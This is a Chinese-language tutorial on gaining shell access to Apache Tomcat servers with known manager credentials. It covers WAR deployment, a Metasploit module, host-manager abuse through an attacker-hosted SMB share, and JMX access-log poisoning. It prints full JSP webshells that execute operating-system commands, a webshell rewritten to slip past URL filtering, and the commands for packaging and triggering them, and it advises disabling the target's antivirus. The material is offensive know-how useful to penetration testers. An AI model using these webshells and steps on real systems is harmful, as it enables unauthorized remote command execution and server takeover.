目录
前提条件
- 以下利用都需要获取到账号密码
用户权限介绍
#用户配置文件
/conf/tomcat-users.xml
文件内容:
<role rolename="admin-gui"/>
<role rolename="admin-script"/>
<role rolename="manager-gui"/>
<role rolename="manager-status"/>
<role rolename="manager-script"/>
<role rolename="manager-jmx"/>
<user name="admin" password="admin" roles="admin-gui,admin-script,manager-gui,manager-status,manager-script,manager-jmx"/>
权限说明:
名称 | 权限说明 |
---|---|
admin-gui | 可访问 “host管理” 页面,但"APP管理" 和 “服务器状态” 页面无查看权限 |
admin-script | 只有host-manager脚本方式管理接口访问权限 |
manager-gui | 无 “host管理” 页面访问权限,有"APP管理" 和 “服务器状态” 页面查看权限 |
manager-status | 只有"服务器状态" 页面查看权限 |
manager-script | 有脚本方式管理接口访问权限和"服务器状态" 页面查看权限 |
manager-jmx | JMX 代理接口访问权限和"服务器状态" 页面查看权限 |
访问路径:
- admin-gui:URL路径/host-manager/html/*
- admin-script : URL路径/host-manager/text/
- manager-gui:URL路径/manager/html/*
- manager-status:URL路径/manager/status/*
- manager-script:URL路径/manager/text/*
- manager-jmx:URL路径/manager/jmxproxy/*
GET SHELL
war包部署上传
- tomcat环境:Apache Tomcat/7.0.62
- 所需用户权限:manager-gui
点击Manager App进行登录
登录后台后看WAR file to deploy
jsp木马:
# cmd2.jsp
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
制作war包:
war包大家就把他当作一个压缩包,只要通过manager app上传war包,tomcat就会帮你部署(解压)到web目录下。
jar cvf cmd2.war cmd2.jsp
制作包时不要命名war包为shell,getshell等…(反正我命名为shell.war,jsp文件也不要命名为shell.jsp,反正我命名后部署,发现没有shell.jsp这个文件,当时这一步卡了我老半天…)
上传:
点击Deploy部署后,在页面可以看到我们上传的文件。
访问jsp木马:
#http://ip/cmd2/cmd2.jsp?pwd={密码}&i={命令}
http://10.1.1.44:8080/cmd2/cmd2.jsp?pwd=023&i=ls
msf
#进入msf后,选择tomcat getshell 模块
use exploit/multi/http/tomcat_mgr_upload
#查看配置
show options
我们需要设置4个选项:
#设置用户名
set httpusername tomcat
#设置用户密码
set httppassword tomcat
#设置目标ip
set rhost 10.1.1.44
#设置端口
set rport 8080
设置好后开始运行
#执行攻击
run
#进入shell终端
shell
#查看ip
ip a
host-manager
模拟环境介绍
在实战种会遇到一种情况,manager访问不了,对方控制了用户权限。
而host-manager是可以访问的,并且爆破成功。
环境搭建
docker 拉取的 tomcat没复现成功,大概是没有开启smb服务的原因(为什么需要smb服务才能复现成功呢?因为host-manager管理页面是用来添加虚拟主机的,添加时可以添加smb请求。而我们也需要smb服务,才能实现getshell,官方文档 )。
我并没有在linux测试,如果您是linux搭建tomcat的服务,并且开启smb服务,可跳过环境搭建教程,直接尝试复现漏洞。
- 靶机:windows 10 + xampp
- IP:10.1.1.25
- 攻击机:kali
- IP:10.1.1.17
xampp和jbk8:
链接:https://pan.baidu.com/s/1Y3bobggG2gk5g04Ll_7RLw
提取码:vou5
下载并安装好xampp和jbk8,都是无脑安装,一直下一步就好了。start打开tomcat,然后访问8080端口,看见tomcat页面表示安装成功。
关闭安全防护(不关闭jsp木马会被拦截)
配置tomcat用户权限,只允许访问host-manager页面。
<role rolename="admin-gui"/>
<user name="admin" password="admin" roles="admin-gui"/>
访问host-maneger
http://ip:8080/host-manager/html
漏洞利用
我们需要下载impacket,利用smbserver.py脚本,来运行smb服务。
python更新并安装所需的python模块:
python -m pip install --upgrade pip
pip install impacket six --default-timeout=100 install -U Pillow
运行脚本:
#创建smb共享目录
mkdir /tmp/test/
#执行服务脚本
#smbserver.py -debug -smb2support -comment "test" sharename sharepath
smbserver.py -debug -smb2support -comment "test" data /tmp/test/
在tomcat上添加虚拟主机:
添加成功:
kali回显,这样就可以证明接受smb协议:
将war包上传至kali上sharepath目录中
jsp木马:
#windowscmd.jsp
<%@ page import="java.util.*,java.io.*,java.net.*"%>
<HTML><BODY>
<FORM METHOD="POST" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "\n<BR>");
Process p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr); disr = dis.readLine(); }
}
%>
</pre>
</BODY></HTML>
jar cvf windowscmd.war windowscmd.jsp
复制到smb共享目录下:
cp windowscmd.war /tmp/test/
修改hosts文件:
(添加名称时,必须添加域名,反正我添加ip去复现没成功。所以我们需要添加域名执行到tomcat服务器上。如果是渗透外网,tomcat服务器也必须有域名。攻击机上的SMB服务也需要外网能访问。)
#文件位置
C:\Windows\System32\drivers\etc\host
#添加内容
10.1.1.25 tomcat.host.getshell
重新添加虚拟主机:
添加成功:
访问jsp木马:
JMX getshell
简介
JMX对于我来理解分两种监视模式,一种是web页面端,一种是可以用java内置的软件进行远程监视管理(当然它也是需要走http协议的)。
先说说页面的JMX路径及用法吧
权限:manager-jmx
路径:/manager/jmxproxy/*
直接访问jmx路径,它给我返回一大堆信息,可以看见有返回服务器的绝对路径(然后大多信息我都看不懂了):
执行查询命令:
/manager/jmxproxy/?qry=%3Aj2eeType=Servlet%2c
过多的操作不详谈,大家感兴趣可以查看JMX_Proxy_Servlet(官方文档)。
这次讲的getshell方法是对远程监视服务JMX的利用,利用java自带的一款远程监视工具即可上传webshell。
环境搭建
利用docker创建的tomcat配置JMX时,弄了老半天,我监听不成功,当时就选择放弃了,然后就自己搭建环境了(当然你们可以试一试,说不定是我运气不行唉
)。
JMX访问日志包含恶意代码getshell
首先我们需要使用jconsole.exe管理工具,这个是java自带的一款工具。
工具位置:($JAVA_HOME)\bin\jconsole.exe
打开后输入ip还有端口号,如果配置有账号密码就填写账号密码即可。
账号必须要有写入权限,无账号登录默认是最高权限
成功连接后,点击MBeans卡项-> Catalina-> Valve-> localhost-> AccessLogValue->操作
测试一下能不能上传文件:
- 输入上传目录:…/webapps/docs/test.jsp
- 点击rotate
- 如果出现true,说明能成功创建文件
访问测试文件,http://ip:8080//docs/test.jsp
可以看到新创建的文件,会记录访问日志信息(不是实时记录的,只会记录几分钟前的访问)。
后面我看了一大堆Tomcat JMX Getshell的文章,都是直接在url GET传输时上包含jsp代码,就能getshell了。然后我就照着文章复现,发现事情没有那么简单😑:
纳尼??? 400
回到jconsole.exe,更新一下访问日志。
查看日志记录时发现,出现400状态码后tomcat并不会把url记录到日志中。
查询了原因
Tomcat 早起版本是支持特殊字符的,不过后来版本中认为这些字符是不安全的。Tomcat就对url检测特殊字符串,当出现特殊字符时就会出现400状态码。
取消过滤特殊字符
操作步骤:
1.进入conf 目录,编辑catalina.properties文件
vim catalina.properties
将最后一行代码注释取消,加入|{}
符号;
2.进入conf 目录,编辑server.xml
vim server.xml
vrelaxedQueryChars="[]|{}^\`"<>"
然后进入bin目录,重启tomcat
cd ../bin/
./shutdown.sh
./startup.sh
然后继续测试,发现<|%
等多个字符都解决了,但如果出现空格还是会出现400:
然后我去找了一些没有空格的🐎,测试了好多都用不了。后来打算绕过这个空格。
原jsp🐎:
<%if("023".equals(request.getParameter("pwd"))){java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}%>
我已经去掉很多空格和回车了,但是还是有一些地方必须隔开的,例如:
- java.io.InputStream in = Runtime.getRuntime()
- new byte[2048]
然后脑壳灵机一动💡,利用%><%
代替空格(闭合一段jsp标记,开始一段新的代码段,就能代替空格了)。
修改后的🐎子:
<%if("023".equals(request.getParameter("pwd"))){java.io.InputStream%><%in=Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int%><%a=-1;%><%byte[]b=new%><%byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new%><%String(b));}out.print("</pre>");}%>
构造好马子后,利用burp发包,包含jsp木马:
再次利用jconsole.exe更新一下访问日志:
访问木马,这样就能成功利用了。
http://10.1.1.55:8080/docs/test.jsp?pwd=023&i=ls
小结
这个上传有点鸡助,需要对方允许我们在url上载入特殊字符。不过有时候开发必须使用特殊字符,例如json格式中url的传输就必须使用大括号,逗号等特殊字符进行传输。
小技巧
script 权限
拥有script的用户可利用命令管理manager页面。
权限名称:
- admin-script
- manager-script
查看服务器信息:
http://10.1.1.25:8080/manager/text/serverinfo
列出当前部署的应用程序:
http://10.1.1.25:8080/manager/text/list
停止应用程序:
http://10.1.1.25:8080/manager/text/stop?path=/examples
启动应用程序:
http://10.1.1.25:8080/manager/text/start?path=/examples
status权限
status权限能查一些关于主机的信息
http://10.1.1.25:8080/manager/status/
参考链接
https://www.certilience.fr/2019/03/tomcat-exploit-variant-host-manager/
https://www.anquanke.com/post/id/85442
https://blog.csdn.net/blood_pupil/article/details/88660728
https://www.onebug.org/websafe/288.html
https://www.heibai.org/post/1237.html
https://www.cnblogs.com/linuxsec/articles/10701475.html
https://cloud.tencent.com/developer/article/1578239